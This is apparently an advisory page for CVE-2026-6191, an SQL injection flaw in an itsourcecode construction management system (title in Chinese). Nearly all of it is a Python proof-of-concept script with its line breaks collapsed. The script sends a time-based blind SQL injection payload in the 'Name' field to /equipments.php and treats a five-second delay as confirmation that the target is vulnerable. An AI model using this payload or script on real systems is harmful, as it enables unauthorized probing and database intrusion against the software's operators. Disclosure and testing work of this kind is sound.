CVE-2026-6191: itsourcecode建筑管理系统SQL注入漏洞

import requests def check_sqli(target_url): """ PoC for CVE-2026-6191 SQL Injection in /equipments.php Vulnerable parameter: Name """ # Target endpoint full_url = f"{target_url}/equipments.php" # Payload for time-based blind SQL injection # Adjust sleep time based on network latency payload = { "Name": "test' AND (SELECT SLEEP(5))-- -" } try: print(f"[*] Sending request to {full_url}...") response = requests.post(full_url, data=payload, timeout=10) # Check if response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or payload failed.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1" check_sqli(target)